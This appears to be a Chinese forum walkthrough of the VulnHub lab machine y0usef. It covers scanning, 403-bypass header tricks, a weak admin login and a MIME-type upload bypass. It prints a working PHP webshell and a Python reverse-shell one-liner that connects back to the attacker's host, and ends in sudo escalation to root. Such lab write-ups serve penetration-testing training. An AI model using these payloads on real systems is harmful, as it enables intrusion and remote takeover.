第十一次打靶

打印 上一主题 下一主题

主题 727|帖子 727|积分 2181

靶机介绍

1)靶机地址:https://download.vulnhub.com/y0usef/y0usef.ova
2)靶机难度:低(低难度是指那些出现概率高、研究较为充分、学习资料丰富、需要熟练掌握并快速发现的漏洞类型。相比于高难度漏洞,低难度漏洞的威胁等级往往更高,因此每个渗透测试者都必须精通熟练掌握)
3)打靶目标:  取得 root 权限 + 2 Flag
4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、指纹探测、弱口令、403 Bypass、文件上传及绕过、base64编码、本地提权
5)本次打靶过程主要说明文件上传和403绕过漏洞的利用方法
打靶过程

1)主机发现
  1. # arp-scan -l
复制代码

2)对目标主机进行全端口扫描
  1. # nmap -p- 192.168.56.115
复制代码

3)对目标主机开发的端口进行服务版本扫描
  1. # nmap -p22,80 -sV -sC 192.168.56.115
复制代码

4)对目标主机的80端口进行直接访问,只返回简单页面,手动对站点进行信息搜集
  1. http://192.168.56.115/
  2. http://192.168.56.115/admin             #404
  3. http://192.168.56.115/rebots.txt                #404
  4. http://192.168.56.115/login                       #404
复制代码
①访问首页,返回页面服下

②查看首页源代码,也未发现有价值内容(如有提示的注释信息、调用后端API的接口等)

5)通过whatweb小工具,查看目标服务器端的应用系统技术栈、架构等。
  1. # whatweb http://192.168.56.115/
复制代码

上述信息显示:服务器使用apache中间件,使用了Bootstrap前端框架、使用了Query库,服务器端使用的是PHP的开发语言环境
6)针对目标服务器上隐藏的目录、文件进行爬取。爬取结果中出现了大量403的状态码(403表示拒绝访问,大概率在目标系统上存在扫描到的文件,但是因为服务器端权限限制的原因,使得未经身份认证的用户,无法直接请求到存在于目标靶机的文件)
  1. # dirsearch -u http://192.168.56.115/
复制代码

对于上述扫描出的301跳转,直接访问也显示了forbidden,并且返回响应码也为403

补充:出现上述提示可以说明:客户端所请求的文件,在目标服务器上是存在的,但是因为开发人员做了相应的权限设置或者身份验证等安全措施。当渗透测试过程中,当服务端返回403错误,可以进行403绕过测试(bypass)。常见403错误bypass方法
①使用旁站的方式尝试绕过403的权限限制:先通过信息搜集的方式,收集到目标企业可能使用的abc.com域下的其他主机名。如果目标系统的开发人员有可能只针对host头部为www.abc.com的请求做了权限限制,但是对其他该域之下的主机名访问相同的URL时,有可能目标服务器会相应正常的200状态码。
  1. #Request
  2. GET /auth/login HTTP/1.1
  3. Host:www.abc.com
  4. #Response
  5. HTTP/1.1 403 Forbidden
  6. #Request
  7. GET /auth/login HTTP/1.1
  8. Host:$xxx$.abc.com
  9. #Response
  10. HTTP/1.1 200 OK
复制代码
②通过覆盖URL的方式进行403的绕过:因为有很多的web应用的目标程序,在进行权限控制时,只针对GET的具体的地址时,才进行地址的检查和设置。但是第二种方式通过增加X-Original-URL头部的方式最终访问到了目标地址,但是GET参数却是/。如果目标系统使用就是基于URL路径,进行权限的限制,那么通过URL覆盖的方式即可进而绕过403的权限限制
  1. #Request
  2. GET /auth/login HTTP/1.1
  3. #Response
  4. HTTP/1.1 403 Forbidden
  5. #Request
  6. GET /auth/login HTTP/1.1
  7. X-Original-URL: /auth/login         
  8. X-Rewrite-URL: /auth/login                     #URL重写
  9. ReFerer:https://xxx/auth/login      #基于ReFerer头部验证
  10. #Response
  11. HTTP/1.1 200 OK
复制代码
③通过一下X开头的一些列头部,基本都是非标准的HTTP头部,这些头部一般都代表,当访问到目标服务器之前,经过了几个反向的代理服务器的代理请求的记录 。通过对这些头部的修改,来欺骗服务器,本次的http请求是由代理服务器本身发起的
  1. #Request
  2. GET / HTTP/1.1
  3. Host:192.168.56.114
  4. X-Originating-IP:127.0.0.1
  5. X-Remote-IP:127.0.0.1
  6. X-Forwarded-For:127.0.0.1
  7. #Response
  8. HTTP/1.1 200 OK
复制代码
7)通过当前靶机,按照上述方法按个尝试发现,只有通过设置X-Forwarded-For:127.0.0.1头部是有效的,返回的状态码变为了200
  1. http://192.168.56.115/adminstration/
  2. X-Forwarded-For:127.0.0.1
复制代码

添加XFF头部后,返回页面如下

8)按照上述登录页面,测试是否存在弱口令:测试发现,当用户名和密码均输入admin时,可直接登入系统后台。但登陆时,为了满足权限验证,需要在所有的请求数据包中,都增加X-Forwarded-For:127.0.0.1头部信息。

后台页面如下:

9)挨个对页面中的链接进行测试,发现了文件上传的页面


补充:文件上传绕过常见方法
①修改上传文件扩展名
②修改文件MIME类型
③在数据段添加真实的图片的头部信息,再在最后的位置添加php的webshell内容(即图片马)
10)本次靶机文件上传绕过测试中,发现可以通过修改MIME类型的方式进行webshell上传,上传数据包中同样要添加XFF字段内容。
  1. #webshell脚本内容
  2. <?php $var=shell_exec($_GET['cmd']); echo $var ?>
复制代码

根据返回的信息的进行访问,利用上传的webshell执行系统命令
  1. http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=ls
复制代码

11)反弹shell,突破系统边界
①利用python执行反弹shell,先判断服务器端有无python:根据返回结果显示,服务器端存在python
  1. http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=which python
复制代码

②通过python代码反弹shell
  1. #反弹shell代码:
  2. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
  3. #浏览器访问
  4. http://192.168.56.115/adminstration/upload/files/1671199839shell1.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.103",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
  5.    
  6. #kali主机监听   
  7. nc -lvvp 4444
复制代码

成功获取到shell

12)获取到shell后,进行信息搜集:查看用户文件中支持登录的账号,发现了一个yousef用户
  1. $ cat /etc/passwd|grep /bin/bash
复制代码

13)进入home目录后,发现存在一个flag文件,但其内容为base64编码
  1. www-data@yousef-VirtualBox:/$ cd /home
  2. www-data@yousef-VirtualBox:/home$ ls
  3. user.txt  yousef
  4. www-data@yousef-VirtualBox:/home$ cat user.txt
  5. c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
复制代码
14)对base64编码进行解码发现了一个ssh的用户名和密码

15)通过上述账号,直接ssh登录目标服务器
  1. # ssh yousef@192.168.56.115
复制代码

16)通过查看发现该用户存在sudo权限配置,且yousef用户可以运行系统上的所有命令。直接通过sudo -s将该用户提升至root用户,获取到flag
  1. yousef@yousef-VirtualBox:~$ sudo -l
  2. yousef@yousef-VirtualBox:~$ sudo -s
  3. root@yousef-VirtualBox:~# cd /home/
  4. root@yousef-VirtualBox:/home# cat user.txt
  5. c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

万万哇

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表